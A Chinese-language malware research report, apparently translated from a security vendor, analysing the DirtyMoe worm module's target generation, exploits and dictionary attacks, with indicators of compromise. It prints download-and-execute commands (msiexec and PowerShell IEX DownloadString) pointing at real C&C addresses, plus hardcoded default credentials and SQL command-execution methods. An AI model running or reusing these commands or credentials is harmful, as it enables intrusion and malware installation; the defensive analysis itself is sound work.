目录导航
DirtyMoe 恶意软件使用各种工具包(如 PurpleFox)或需要用户交互的 Telegram Messenger 注入安装程序进行部署。作为此部署的补充,DirtyMoe 模块之一使用不需要用户交互的类似蠕虫的技术传播恶意软件。
本研究分析了该蠕虫模块的杀伤链以及通过 DirtyMoe 服务启动/控制该模块的程序。调查的其他领域包括评估蠕虫使用的已识别漏洞的风险以及对其受害者选择算法如何工作的详细分析。最后,我们检查了这种性能,并对整个蠕虫工作流程进行了全面检查。
分析表明,蠕虫模块针对的是较早的知名漏洞,例如 EternalBlue 和 Hot Potato Windows Privilege Escalation。另一个重要发现是使用服务控制管理器远程协议 (SCMR)、WMI 和 MS SQL 服务的字典攻击。最后,一个同样重要的结果是发现基于蠕虫模块的地理位置生成受害者目标 IP 地址的算法。
一个蠕虫模块每天可以生成和攻击数十万个私有和公共 IP 地址;许多受害者处于危险之中,因为许多机器仍然使用未打补丁的系统或弱密码。此外,DirtyMoe 恶意软件采用模块化设计;因此,我们希望添加其他蠕虫模块来针对普遍存在的漏洞。
一、简介
DirtyMoe 是我们在上一个系列中详细记录的成功恶意软件,它也实现了自我复制机制。部署 DirtyMoe 恶意软件的最常见方式是通过网络钓鱼活动或恶意广告。在本系列中,我们将重点介绍帮助 DirtyMoe 在野外传播的技术。
PurpleFox 漏洞利用工具包 (EK) 是最常见的部署 DirtyMoe 的方法;PurpleFox EK 的当前重点是利用受害者机器并安装 DirtyMoe。PurpleFox EK 主要通过网络钓鱼电子邮件或弹出式广告滥用 Internet Explorer 浏览器中的漏洞。例如,Guardicore 描述了一种由 PurpleFox 传播的蠕虫,该蠕虫使用弱密码[2]滥用 SMB 服务,渗透到安全性较差的系统中。最近,Minerva Labs 描述了通过注入的 Telegram Installer [1]安装 DirtyMoe 的新感染载体。
目前,我们正在监测用于在野外传播 DirtyMoe 的三种方法;图 1说明了各个概念之间的关系。DirtyMoe 恶意软件的主要功能是加密挖矿;它使用不同的技术部署到受害者的机器上。我们观察了 PurpleFox EK、PurleFox Worm,并注入了 Telegram Installers 作为传播和安装 DirtyMoe 的媒介;我们认为很可能在野外使用其他机制。
在这个恶意软件系列的第四个系列中,我们描述了 DirtyMoe 服务的部署。图 2说明了 DirtyMoe 层次结构。DirtyMoe 服务作为svchost
启动其他两个进程的进程运行:DirtyMoe Core 和 Executioner,后者管理 DirtyMoe 模块。通常,刽子手加载两个模块;一个用于门罗币挖矿,另一个用于蠕虫复制。
我们的研究一直集中在蠕虫上,因为蠕虫似乎是传播 DirtyMoe 恶意软件的主要媒介之一。Guardicore [2]描述的 PurpleFox 蠕虫只是蠕虫的冰山一角,因为 DirtyMoe 利用复杂的算法和方法将自身传播到野外,甚至在本地网络中横向传播。
DirtyMoe 蠕虫的目标是利用目标系统并将自身安装到受害机器中。DirtyMoe 蠕虫利用以下几个已知漏洞:
CVE:2019-9082
: ThinkPHP – 多个 PHP 注入漏洞到 RCECVE:2019-2725
: Oracle Weblogic Server – ‘AsyncResponseService’ 反序列化 RCECVE:2019-1458
: WizardOpium 本地权限提升CVE:2018-0147
: 反序列化漏洞CVE:2017-0144
: EternalBlue SMB 远程代码执行 (MS17-010)MS15-076
: RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)Dictionary attacks
到 MS SQL Server、SMB 和 Windows Management Instrumentation (WMI)
DirtyMoe 的流行在世界各个角落都在增加;这可能是由于 DirtyMoe 蠕虫使用考虑蠕虫的地质和本地位置的伪随机 IP 生成器生成目标的策略。这种技术的一个结果是蠕虫在它的位置上更加灵活和有效。此外,DirtyMoe 可以扩展到隐藏在 NAT 后面的机器,因为该策略还提供本地网络中的横向移动。单个 DirtyMoe 实例每秒可以生成和攻击多达 6,000 个 IP 地址。
整个蠕虫设计的阴险之处在于其由C&C服务器控制的模块化。例如,DirtyMoe 有几个针对特定漏洞的蠕虫模块,C&C 根据 DirtyMoe 实例发送的信息确定将应用哪个蠕虫模块。
DirtyMoe 蠕虫模块实现了所有类型漏洞共有的三个基本阶段。首先,该模块生成一个 IP 地址列表以在初始阶段定位。然后,第二阶段攻击针对这些目标的特定漏洞。最后,该模块对由随机生成的 IP 地址表示的活动机器执行字典攻击。我们观察到的最常见的模块是 SMB 和 SQL。
本文重点介绍 DirtyMoe 蠕虫模块。我们分析和讨论了恶意软件作者滥用的蠕虫策略,以及根据地理位置的模块行为。主要主题之一是 IP 地址生成的性能,这对于恶意软件的成功至关重要。我们还在寻找滥用漏洞的具体实现,包括它们的起源。
2. 蠕虫病毒杀伤链
我们可以通过杀伤链来描述 DirtyMoe 蠕虫模块的一般工作流程。图 3说明了蠕虫工作流程的各个阶段。
侦察
蠕虫模块随机生成目标,但也考虑模块的地理位置。每个生成的目标都经过测试是否存在易受攻击的服务版本;该模块连接到攻击者期望的易受攻击服务的特定端口,并验证受害者的机器是否处于活动状态。如果验证成功,蠕虫模块会收集受害者操作系统和目标服务版本的基本信息。
武器化
C&C 服务器似乎可以在不使用任何受害者信息的情况下确定用于蠕虫的特定模块。目前,我们并不确切知道模块选择使用什么算法,但怀疑它取决于发送到 C&C 服务器的附加信息。
当模块验证目标受害者的机器可能被利用时,会准备适当的有效负载并开始攻击。每次攻击都必须修改有效负载,因为远程代码执行 (RCE) 命令仅在几分钟内有效。
交付
在这个杀伤链阶段,蠕虫模块发送准备好的有效载荷。有效载荷传递通常使用目标服务的协议执行,例如 SMB 或 MS SQL 协议。
漏洞利用和安装
如果有效载荷是正确的并且受害者的机器被成功利用,那么包含在有效载荷中的 RCE 命令就会运行。因此,DirtyMoe 恶意软件被部署,如上一篇文章(DirtyMoe:部署)中所述。
3.RCE 命令
蠕虫模块的主要目标是在管理员权限下实现RCE并安装一个新的DirtyMoe实例。@RCE@
每个蠕虫模块的执行命令 ( ) 的一般形式是相同的:
Cmd /c for /d %i in (@WEB@) do Msiexec /i http://%i/@FIN@ /Q
该命令通常会遍历 C&C 服务器的三个 IP 地址,包括端口。IP 由@WEB@
运行时填充的占位符表示。实际上,@WEB@
由于 IP 使用复杂的算法每分钟轮换一次,因此为每个发送的有效负载重新生成;这在第一篇博客的第 2 节中有所描述。
第二个占位符@FIN@
代表 DirtyMoe 对象的名称;这实际上是一个 MSI 安装程序包。包文件名采用哈希格式 – [A-F0-9]{8}\.moe
. 哈希名称是使用硬编码的哈希表、旋转方法和子字符串以及MS_RPC_<n>
字符串生成的,其中n
是 DirtyMoe 服务确定的数字。
该命令的核心是通过静默模式 ( )@RCE@
执行远程 DirtyMoe 对象 ( )。特定命令的示例是:
Cmd /c for /d %i in (45.32.127.170:16148 92.118.151.102:19818 207.246.118.120:11410) do Msiexec /i http://%i/6067C695.moe /Q
4. IP 地址生成
蠕虫模块的关键特性是生成 IP 地址 (IP) 以进行攻击。在伪随机生成器的帮助下,有六种方法用于生成 IP;每种方法都侧重于不同的 IPv4 类。因此,这一因素有助于受攻击机器的全球统一分布,并能够生成更多可用的 IP 地址来攻击目标。
4.1 IP 表中的 B 类
生成地址的最大比例是由 10 个线程使用 24,622 个项目的硬编码列表生成 IP 提供的。每个列表项的形式为0xXXXX0000
,代表 B 类的 IP。每个线程根据以下算法生成 IP:
该算法从列表中随机选择一个 B 类地址,并 65,536 次生成一个完全随机数,该数字添加到所选 B 类地址。效果是生成的最终 IP 地址基于列表中硬编码的地理位置。
图 4显示了硬编码地址的地质分布。大陆分布分为四个部分:亚洲、北美、欧洲和其他(南美、非洲、大洋洲)。我们验证了这种方法并使用该算法生成了 1M 个地址。结果具有相似的大陆分布。因此,该实施可确保 IP 地址分布是均匀的。
4.2 完全随机 IP
其他三个线程生成完全随机的IP,所以地质位置也是完全随机的。但是,完全随机 IP 算法更频繁地生成低类,如下面的算法所示。
4.3 派生类 A、B、C
其他三种算法基于运行蠕虫模块的机器的 IP 地址 (IPm) 生成 IP。因此,蠕虫模块以附近环境中的机器为目标。
地址由掩码到相应Class A/B/C的IPm派生,并添加代表较低Class的随机数;如以下伪代码所示。
4.4 派生的本地 IP
最后一种 IP 生成方法由一个线程表示,该线程扫描连接到本地网络的接口。蠕虫模块列出使用的本地 IP gethostbyname()
,每两小时处理一个本地地址。
每个本地 IP 都被掩码为 C 类,根据掩码地址生成 255 个新的本地地址。结果,蠕虫模块攻击本地网络中靠近受感染机器的所有本地机器。
5. 对滥用漏洞的攻击
我们检测到两个主要攻击 SMB 服务和 MS SQL 数据库的蠕虫模块。我们的团队很幸运,因为我们还发现了一些罕见的东西:一个包含针对 PHP、Java 反序列化和 Oracle Weblogic Server 的漏洞利用的蠕虫模块,该漏洞仍在开发中。此外,蠕虫模块包括一个包含 100,000 个单词的打包字典,用于字典攻击。
5.1 永恒之蓝
主要漏洞之一是CVE:2017-0144
:EternalBlue SMB 远程代码执行(由微软在 MS17-010 中修补)。仍然观察到多少 EternalBlue 攻击仍然令人困惑——Avast 每月仍在阻止大约 2000 万次 EternalBlue 攻击尝试。
蠕虫模块主要针对从 Windows XP 到 Windows 8 的 Windows 版本。我们已经确定 EternalBlue 的实现与exploit-db [3]中描述的相同,并且包含@RCE@
命令的有效载荷与 DoublePulsar [4]相同。有趣的是,整个 EternalBlue 有效负载是针对每个 Windows 架构进行硬编码的,尽管有效负载可以为每个平台单独组合。
5.2 服务控制管理器远程协议
在服务控制管理器远程协议 (SCMR) [5]的情况下,没有使用已知漏洞。蠕虫模块通过字典攻击攻击 SCMR。第一阶段是猜测管理员密码。字典攻击的细节在6.4 节中描述。
如果字典攻击成功并且模块猜到了密码,则会创建一个新的 Windows 服务,并通过 SMB 服务上的 RPC 远程启动。图 5说明了攻击的网络通信。使用 UUID 标识与 SCMR 的绑定{367ABB81-9844-35F1-AD32- 98F038001003}
。在服务器端,蠕虫模块作为客户端将命令写入\PIPE\svcctl
管道。第一批命令会创建一个新服务并使用恶意@RCE@
负载注册一个命令。新服务启动,然后被删除以试图掩盖其踪迹。
Microsoft HTML Application Host( mshta.exe
) 用作 LOLbin 来执行和创建 ShellWindows 并运行@RCE@
。这种代理执行的优点mshta.exe
是通常被标记为受信任;一些维护者可能没有发现这种对mshta.exe
.
Windows Event 将这些可疑事件记录在系统日志中,如图 6所示。服务名称的格式为AC<number>
,number
每次成功攻击时 都会递增。另外值得注意的是ImagePath
包含@RCE@
发送到 SCMR 的命令BinaryPathName
,见图 5。
5.3 Windows 管理规范
第二种不会滥用任何已知漏洞的方法是对 Windows Management Instrumentation (WMI) 的字典攻击。工作流程类似于 SCMR 攻击。首先,蠕虫模块还必须猜测受害者管理员帐户的密码。字典攻击的细节在6.4 节中描述。
攻击者可以使用 WMI 来管理和访问远程计算机上的数据和资源[6]。如果他们拥有具有管理员权限的帐户,则可以远程访问所有系统资源。
恶意滥用在于创建一个@RCE@
通过 WMI 脚本运行的新进程;见图7。然后通过以下六个步骤安装 DirtyMoe:
- 初始化 COM 库。
- 连接到
root/cimv2
包含 WMI 类的默认命名空间以进行管理。 - 类
Win32_Process
被创建,并被@RCE@
设置为命令行参数。 Win32_ProcessStartup
代表新进程的启动配置。worming 模块将进程窗口设置为隐藏状态,因此执行是在静默状态下完成的。- 新进程启动,并运行 DirtyMoe 安装程序。
- 最后,WMI 脚本完成,COM 库被清理。
5.4 微软 SQL 服务器
就蠕虫模块而言,对 Microsoft SQL Server 的攻击是第二广泛的攻击。目标 MS SQL Server 是 2000、2005、2008、2012、2014、2016、2017、2019。
蠕虫模块也不会滥用与 MS SQL 相关的任何漏洞。但是,它结合了字典攻击和MS15-076
:“RCE Allow Elevation of Privilege”,即“Hot Potato Windows Privilege Escalation”。此外,恶意软件作者利用MS15-076
称为 Tater 的实现、PowerSploit 函数 Invoke-ReflectivePEInjection 和CVE-2019-1458
:“WizardOpium Local Privilege Escalation”漏洞利用。
MS SQL 攻击的第一阶段是猜测被攻击的 MS SQL 服务器的密码。第一批用户名/密码对是硬编码的。恶意软件作者已从公开来源收集硬编码凭据。它包含 15 个默认密码,用于 Nette Database、Oracle、Firebird、Kingdee KIS 等少数数据库和系统。完整的硬编码凭据如下:
401hk/401hk_@_, admin/admin, bizbox/bizbox, bwsa/bw99588399, hbv7/zXJl@mwZ, kisadmin/ypbwkfyjhyhgzj, neterp/neterp, ps/740316, root/root, sp/sp, su/t00r_@_, sysdba/masterkey, uep/U_tywg_2008, unierp/unierp, vice/vice.
如果第一批不成功,蠕虫模块使用硬编码字典进行攻击。字典攻击的详细工作流程在第 6.4 节中描述。
如果模块成功猜出被攻击的 MS SQL 服务器的用户名/密码,则模块会根据 Transact-SQL 过程执行相应的有效载荷。有五种方法相继推出。
- sp_start_job该模块使用Payload 1
创建、调度并立即运行任务。 - sp_makewebtask
该模块创建一个任务,该任务生成一个包含Payload 2的 HTML 文档。 - sp_OAMethod
该模块使用 VBScript“WScript.Shell”创建一个 OLE 对象并运行Payload 3。 - xp_cmdshell
此方法生成一个 Windows 命令 shell 并传入一个字符串以供执行,由Payload 3表示。 - Run-time Environment
负载 4作为 .NET 程序集执行。
简而言之,有四个有效载荷用于 DirtyMoe 安装。SQL 蠕虫模块定义了一个占位符@SQLEXEC@
,表示位于 C&C 服务器中的 MSI 安装包的完整 URL。如果任何有效负载成功执行了权限提升,DirtyMoe 安装将通过 MSI 安装程序静默启动;有关更多详细信息,请参阅我们的 DirtyMoe部署博客文章。
有效载荷 1
第一个有效负载尝试运行以下 PowerShell 命令:
powershell -nop -exec bypass -c "IEX $decoded; MsiMake @SQLEXEC@;"
其中$decoded
包含MsiMake
函数,如图 8 所示。该函数作为完全静默安装 (INSTALLUILEVEL_NONE)调用MsiInstallProduct
函数,但前提是 MS SQL 服务器在管理员权限下运行。msi.dll
有效载荷2
第二个有效载荷仅用于sp_makewebtask执行;有效负载被写入以下自动启动文件夹:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.hta
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\1.hta
图 9显示了1.hta
伪装成 HTML 文件的文件内容。很明显,DirtyMoe 可能会在每次 Windows 启动时安装。
有效载荷 3
最后一个有效载荷更加复杂,因为它针对上述漏洞和利用。首先,蠕虫模块准备一个@SQLPSHELL@
占位符,其中包含 DirtyMoe 对象的完整 URL,该对象是 Tater PowerShell 脚本的改编版本。
有效载荷的第一阶段是一个 powershell 命令:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(''@SQLPSHELL@''); MsiMake @SQLEXEC@"
改编的 Tater 脚本实现了扩展MsiMake
功能。该脚本尝试使用三种不同的方式安装 DirtyMoe:
- 通过图 8
MsiMake
中捕获的实现安装 DirtyMoe 。 Invoke-ReflectivePEInjection
尝试使用以下参数来利用系统:脚本中包含的实现Invoke-ReflectivePEInjection -PEBytes $Bytes -ExeArgs $@RCE@ -ForceASLR
在哪里。$Bytes
CVE-2019-1458
- 最后一种方式是通过 Tater 命令安装:
Invoke-Tater -Command $@RCE@
有效载荷 3 的示例是:
powershell -nop -exec bypass -c "IEX (New-ObjectNet. WebClient).DownloadString(
'http://108.61.184.105:20114/57BC9B7E.Png'); MsiMake http://108.61.184.105:20114/0CFA042F.Png
有效载荷 4
攻击者使用 .NET 提供运行时环境,在 MS SQL 环境下执行任意命令。worming 模块使用公共语言运行时 (CLR) 定义了一个新的汇编 .NET 过程,如图 10所示。
Payload 4 的 .NET 代码是一个简单的类,它定义了ExecCommand
一个使用该类运行恶意命令的 SQL 过程Process
;如图11所示。
5.5 开发模块
我们发现了一个蠕虫模块,其中包含表明该模块正在开发中的工件。该模块在野外似乎并不普遍,它可能会深入了解恶意软件作者的未来意图。该模块包含许多处于不同开发状态的硬编码部分;有些部分没有暗示@RCE@
执行。
PHP
CVE:2019-9082: ThinkPHP - Multiple PHP Injection RCEs.
该模块使用[7]中发布的确切实现;见图12。简而言之,call_user_func_array
发送验证能力的 CGI 脚本。如果验证通过,则重新发送 CGI 脚本@RCE@
。
反序列化
CVE:2018-0147: Deserialization Vulnerability
当前的模块实现在受攻击的服务器上执行恶意 Java 类[8],如图 13所示。该类RunCheckConfig
是包含恶意可序列化对象的已接受连接的执行器。
当服务器通过 HTTP POST 方法接受该对象时,该模块准备图 14所示的可序列化对象,该类将运行该对象。RunCheckConfig
将RunCheckConfig
类传递到受攻击服务器的实现滥用了相同的漏洞。它准备一个可序列化的对象执行ObjectOutputStream
,将RunCheckConfig
类写入c:/windows/tmp
. 但是,此模块不包含此实现,因此我们假设此模块仍在开发中。
Oracle Weblogic服务器
CVE:2019-2725: Oracle Weblogic Server - 'AsyncResponseService' Deserialization RCE
该模块再次利用[9]中发布的漏洞向 Oracle Weblogic Server T3 接口发送未经任何身份验证的恶意 SOAP 有效负载,然后向 WLS AsyncResponseService 接口发送额外的 SOAP 有效负载。
SOAP
SOAP 请求使用三个参数定义WorkContext
as 。java.lang.Runtime
第一个参数定义应该运行哪个可执行文件。以下参数确定可执行文件的参数。图 15WorkContext
显示了一个示例。
@RCE@
硬编码的 SOAP 命令与;无关。我们假设这个实现也在开发中。
6.蠕虫模块执行
蠕虫模块由 DirtyMoe 服务管理,该服务控制其配置、初始化和蠕虫执行。本节介绍蠕虫模块的生命周期。
6.1 配置
DirtyMoe 服务联系 C&C 服务器之一,并将适当的蠕虫模块下载到位于 .的 Shim 数据库 (SDB) 文件中%windir%\apppatch\TK<volume-id>MS.sdb
。然后将蠕虫模块解密并注入新svchost.exe
进程,如图 2所示。
加密模块是一个包含额外占位符的 PE 可执行文件。DirtyMoe 服务通过这些占位符将配置参数传递给模块。这种方法与其他 DirtyMoe 模块相同;但是,在 worming 模块的情况下,一些占位符没有使用。
占位符概述如下:
@TaskGuid@
:在驱虫模块中不适用@IPsSign@
:在驱虫模块中不适用@RunSign@
:由 DirtyMoe 服务控制的蠕虫模块创建的互斥锁@GadSign@
: 在 C&C 中注册的 DirtyMoe 实例的 ID@FixSign@
:蠕虫模块的类型,例如,ScanSmbHs5@InfSign@
: 蠕虫模块配置
6.2 初始化
当以新进程为代表的蠕虫模块被 DirtyMoe 服务注入并恢复时,模块初始化被调用。首先,该模块解压缩包含字典攻击密码的字典。该字典包含 100,000 个使用 LZMA 压缩的常用密码。其次,内部结构设置如下:
待办IP 地址
该模块存储发现的 IP 地址以及开放的感兴趣端口。它保存最后一次端口检查的 IP 地址和时间戳。
Dayspan 和 Hourspan 列表
这些列表管理用于字典攻击的 IP 地址及其插入时间戳。IP 地址是根据配置中定义的阈值获取的。如果 IP 地址时间戳超过天或小时跨度的阈值,将处理 IP。例如,如果阈值设置为 1,那么如果当前日期和时间戳的天/小时跨度大于 1,则将处理相应的 IP。Dayspan列表注册了Class B 从 IP Table、Fully Random IP和Derived Classes A方法生成的 IP;换句话说,距离蠕虫模块位置较远的 IP。另一方面,小时跨度列表记录距离较近的 IP。
第三,模块读取@InfSign@
占位符描述的配置。配置与此模式匹配:<IP>|<PNG_ID>|<timeout>|[SMB:HX:PX1.X2.X3:AX:RX:BX:CX:DX:NX:SMB]
IP
是表示将执行攻击的机器 IP 的数字。IP 是生成 IP 的方法的输入;见第 4 节。如果 IP 不可用,98.126.89.1则使用默认地址。PNG_ID
是用于派生反映存储在 C&C 中的 DirtyMoe 对象名称(MSI 安装程序包)的哈希名称的数字。hashname 是使用MS_RPC_<n>
字符串 wheren
is生成的PNG_ID
;见第 3 节。Timeout
是连接到被攻击服务的默认超时时间(以秒为单位)。HX
是比较存储在Dayspan 和 Hourspan 列表中的 IP 时间戳的阈值。比较确定如果 IP 地址的时间戳超过天/小时阈值,是否将处理 IP 地址。P
是字典攻击的标志。X1
number 确定将使用密码字典中的多少个初始密码来增加成功的可能性——字典包含最开始使用的密码。X2
X1
如果第一个密码不成功,则 number 用于字典攻击的第二阶段。然后蠕虫模块尝试X2
从字典中随机选择密码。X3
number 定义了处理Dayspan 和 Hourspan 列表的线程数;更准确地说,有多少线程会攻击Dayspan/Hourspan 列表中注册的 IP 地址。
AX
: 有多少线程将使用IP 表方法中的B 类生成 IP 地址。RX
:完全随机 IP方法的线程数。BX
,CX
, :派生类 A、B、C方法DX
的线程数。NX
为Derived Local IPs方法定义线程数量。
典型配置可以是
217.xxx.xxx.xxx|5|2|[SMB:H1:P1.30.3:A10:R3:B3:C3:D1:N3:SMB]
最后,蠕虫模块启动配置定义的所有线程,启动蠕虫进程和攻击。
6.3 蠕虫
驱虫过程有五个或多或少并行运行的阶段。图 16有蠕虫流程的动画。
阶段1
蠕虫模块通常启动 23 个线程,根据第 4 节生成 IP 地址。IP 地址分为两组:日跨度和小时跨度。
阶段2
第二阶段与第一阶段并行;它的目标是测试生成的 IP。每个特定模块都针对已定义的端口,这些端口通过发送零长度传输数据报进行验证。如果端口处于活动状态并准备好接收数据,则将活动端口的 IP 地址添加到IP Address Backlog中。此外,SMB 蠕虫模块会立即在端口扫描中尝试 EternalBlue 攻击。
第三阶段
在第 2 阶段验证的 IP 地址也注册到Dayspan 和 Hourspan 列表中。该模块仅保留 100 个项目(IP 地址),列表实现为队列。因此,如果 IP 地址生成太快或字典攻击太慢,可以从这些列表中删除一些 IP。但是,删除的地址仍然存在于IP 地址积压中。
第 4 阶段
基于 X3 配置参数创建的线程处理和管理Dayspan 和 Hourspan 列表的项目(IP) 。每个线程从相应的列表中提取一个项目,如果超过定义的日/小时阈值(HX 参数),则模块对提取的 IP 地址启动字典攻击。
第 5 阶段
每个生成和验证的 IP 都与创建时间戳相关联。如果前一个时间戳早于 10 分钟,即如果 IP 生成因任何原因暂停且 10 分钟内没有新 IP 出现,则激活最后一个阶段。然后一个专用线程从 backlog 中提取 IP,并从头开始处理这些 IP;这些 IP 按照第 2 阶段进行处理,整个蠕虫过程继续进行。
6.4 字典攻击
字典攻击针对两个管理员用户名,即administrator
SMB 服务和sa
MS SQL 服务器。如果攻击成功,蠕虫模块会利用第 5 节中描述的技术组成的攻击系列渗透到目标系统:
- 服务控制管理器远程协议 (SCMR)
- Windows 管理规范 (WMI)
- 微软 SQL 服务器 (SQL)
第一次攻击尝试使用空密码发送。然后,该模块根据攻击响应解决三个状态,如下所示:
- 无连接:未建立连接,尽管目标端口已打开——目标服务在此端口上不可用。
- 不成功:目标服务/系统可用,但由于用户名或密码不正确,身份验证失败。
- 成功:目标服务/系统使用空密码。
管理员帐户的密码为空
如果管理员帐户没有受到保护,整个蠕虫过程会很快发生(从攻击者的角度来看,这是最好的结果)。然后,蠕虫模块通过发送空密码继续使用攻击系列(SCMR、WMI、SQL)渗透目标系统。
错误的用户名或身份验证信息
如果目标服务处于活动状态,则会出现更复杂的情况,需要通过应用密码字典来攻击系统。
巧妙的是,该模块将所有以前成功的密码存储在系统注册表中;字典攻击的第一阶段遍历所有存储的密码并使用这些密码来攻击目标系统。然后,如果成功猜到密码,则启动攻击系列(SCMR、WMI、SQL)。
如果存储的注册表密码不成功,则会出现第二阶段。然后模块尝试使用密码字典中定义数量的初始密码进行身份验证。此数字由 X1 配置参数指定(通常为 X1*100)。如果此阶段成功,则将猜测的密码存储在系统注册表中,并启动攻击系列。
如果第二阶段不成功,则进入最后阶段。模块从字典子集中随机选择一个密码 X2*100 次。子集定义为原始字典减去前 X1*100 项。如果成功,则调用攻击系列,并将密码添加到系统注册表中。
成功使用的密码以加密方式存储在以下系统注册表位置:
HKEY_LOCAL_MACHINE\Software\Microsoft\DirectPlay8\Direct3D\RegRunInfo-BarkIPsInfo
七、总结与讨论
模块
我们检测到三个版本的 DirtyMoe 蠕虫模块正在使用中。两个版本专门针对 SMB 服务和 MS SQL 服务器。但是,第三个包含几个工件,暗示针对 PHP、Java 反序列化和 Oracle Weblogic Server 的其他攻击媒介。我们将继续监控和跟踪这些活动。
被攻击的机器
一个有趣的发现是基于蠕虫模块的地理位置的攻击适应。第 4 节中描述的方法尝试平均分配生成的 IP 地址以覆盖尽可能大的半径。这是使用蠕虫模块本身的 IP 地址来实现的,因为生成受害者 IP 的线程中有一半是基于模块 IP 地址的。否则,如果 IP 由于某种原因不可用,98.126.89.1则使用位于洛杉矶的 IP 地址作为基地址。
我们在以下地点进行了一些 VPN 实验:美国、俄罗斯联邦、捷克共和国和台湾。结果在图 17中以动画形式显示;表 1记录了每个测试 VPN 的攻击分布。
VPN | 攻击分布 | 热门国家 |
美国 | 北美 (59%) 欧洲 (21%) 亚洲 (16%) | 美国 |
俄罗斯联邦 | 北美 (41%) 欧洲 (33%) 亚洲 (20%) | 美国、伊朗、英国、法国、俄罗斯联邦 |
捷克共和国 | 欧洲 (56%) 亚洲 (14%) 南美洲 (11%) | 中国、巴西、埃及、美国、德国 |
台湾 | 北美 (47%) 欧洲 (22%) 亚洲 (18%) | 美国、英国、日本、巴西、土耳其 |
表 1。VPN 攻击分布和主要国家
局域网
也许最引人注目的发现是在本地网络中观察到的横向运动。模块将所有成功猜出的密码保存在系统注册表中;这些保存的密码增加了在本地网络中猜测密码的可能性,特别是在家庭和小型企业网络中。因此,如果本地网络中的机器使用易于评估的相同弱密码,该模块可以快速渗透到本地网络。
漏洞利用
所有被滥用的漏洞都来自公开可用的资源。我们已经确定了表 2中总结的六个主要漏洞。蠕虫模块采用来自exploit-db的EternalBlue、ThinkPHP 和Oracle Weblogic Server 漏洞利用的精确实现。同样,该模块应用和修改了 DoublePulsar、Tater 和 PowerSploit 框架的实现。
ID | 描述 |
CVE:2019-9082 | ThinkPHP – 多个 PHP 注入 RCE |
CVE:2019-2725 | Oracle Weblogic Server – ‘AsyncResponseService’ 反序列化 RCE |
CVE:2019-1458 | WizardOpium 本地权限提升 |
CVE:2018-0147 | 反序列化漏洞 |
CVE:2017-0144 | EternalBlue SMB 远程代码执行 (MS17-010) |
MS15-076 | RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation) |
表 2。使用的漏洞
C&C 服务器
C&C 服务器确定将在受害机器上部署哪个模块。蠕虫模块选择的机制取决于额外发送到 C&C 服务器的客户端信息。但是,此模块选择如何工作的细节仍有待发现。
密码字典
密码字典是从互联网上获得的最常用密码的集合。字典大小为 100,000 个单词和数字,涵盖多个主题和语言。世界顶级语言有几种语言突变,例如英语、西班牙语、葡萄牙语、德语、法语等(passwort、heslo、haslo、lozinka、parool、wachtwoord、jelszo、contrasena、motdepasse)。其他主题是汽车(大众、菲亚特、现代、布加迪、福特)和艺术(达芬奇、维米尔、蒙克、米开朗基罗、梵高)。该词典还包括脏话和一些历史人物的奇怪名字,如希特勒、斯大林、列宁、侯赛因、丘吉尔、普京等。
该字典用于 SCMR、WMI 和 SQL 攻击。但是,SQL 模块对另外 15 对用户名/密码进行了硬编码,这些用户名/密码也是从 Internet 收集的。SQL 密码通常是最知名系统的默认密码。
蠕虫工作流程
这些模块还实现了一种对具有“实时”目标端口的机器进行重复攻击的技术,即使第一次攻击不成功。可以根据蠕虫配置每小时或每天安排一次攻击。这种方法可以防止防火墙阻止攻击机器并降低检测风险。
另一个重要属性是在成功利用目标系统后关闭 TCP 端口 445 端口。通过这种方式,受感染的机器可以“保护”免受其他滥用相同漏洞的恶意软件的侵害。MSI 安装程序还包括一个机制来防止自己覆盖 DirtyMoe,以便保留配置和已下载的模块。
IP 生成性能
该蠕虫成功的主要关键是 IP 生成器的性能。我们使用经验测量来确定驱虫模块的性能。该测量表明,一个模块实例平均每秒可以生成和攻击 1,500 个 IP。但是,其中一个经过测试的实例可以生成高达 6,000 个 IP/秒,因此一个实例每天可以尝试 200 万个 IP。
证据表明,大约 1,900 个实例可以在一天内生成整个 IPv4 范围;我们的检测估计野外存在 7,000 多个活动实例。理论上,效果是 DirtyMoe 可以每天生成三次并可能针对整个 IPv4 范围。
8. 结论
这项研究的主要目标是分析 DirtyMoe 模块组之一,该模块组使用蠕虫技术传播 DirtyMoe 恶意软件。本研究的第二个目的是调查蠕虫的影响并调查正在使用的漏洞。
在大多数情况下,DirtyMoe 是使用 PurpleFox 等外部漏洞利用工具包或 Telegram Messenger 的注入安装程序部署的,这些安装程序需要用户交互才能成功渗透。重要的是,蠕虫由 C&C 控制并由活动的 DirtyMoe 实例执行,因此不需要用户交互。
蠕虫目标 IP 是利用巧妙设计的算法生成的,该算法在全球范围内均匀生成 IP 地址,并与蠕虫模块的地理位置相关。此外,该模块针对本地/家庭网络。因此,防火墙后面的公共 IP 甚至私有网络都处于危险之中。
受害者的活动机器受到 EternalBlue 漏洞利用和字典攻击的攻击,这些攻击针对 SCMR、WMI 和 MS SQL 服务,密码较弱。此外,我们共检测到 6 个被蠕虫模块滥用的漏洞,这些漏洞实施了公开披露的漏洞利用。
我们还在开发中发现了一个包含其他漏洞利用实现的蠕虫模块——它似乎没有完全准备好进行部署。但是,经过测试的漏洞利用可能已经实施并正在广泛传播。
根据活跃 DirtyMoe 实例的数量,可以说蠕虫每天会威胁到数十万台计算机。此外,诸如 Log4j 之类的新漏洞为实施新的蠕虫模块提供了巨大而强大的机会。考虑到这一点,我们的研究人员继续监测蠕虫活动并寻找其他蠕虫模块。
侵害指标(iocs)
CVE-2019-1458:“WizardOpium”本地权限提升
fef7b5df28973ecf8e8ceffa8777498a36f3a7ca1b4720b23d0df18c53628c40
SMB 蠕虫模块
f78b7b0faf819328f72a7181ed8cc52890fedcd9bf612700d7b398f1b9d77ab6
dc1dd648287bb526f11ebacf31edd06089f50c551f7724b98183b10ab339fe2b
SQL 蠕虫模块
df8f37cb2f20ebd8f22e866ee0e25be7d3731e4d2af210f127018e2267c73065
b3e8497a4cf00489632e54e2512c05d9c80288c2164019d53615dd53c0977fa7
开发中的蠕虫模块
36e0e1e4746d0db1f52aff101a103ecfb0414c8c04844521867ef83466c75340
参考
[1]恶意电报安装程序丢弃 Purple Fox Rootkit
[2] Purple Fox Rootkit 现在作为蠕虫传播
[3] Exploit-db:“EternalBlue”SMB 远程代码执行 (MS17-010)
[4]威胁聚焦:影子经纪人和EternalPulsar Malware
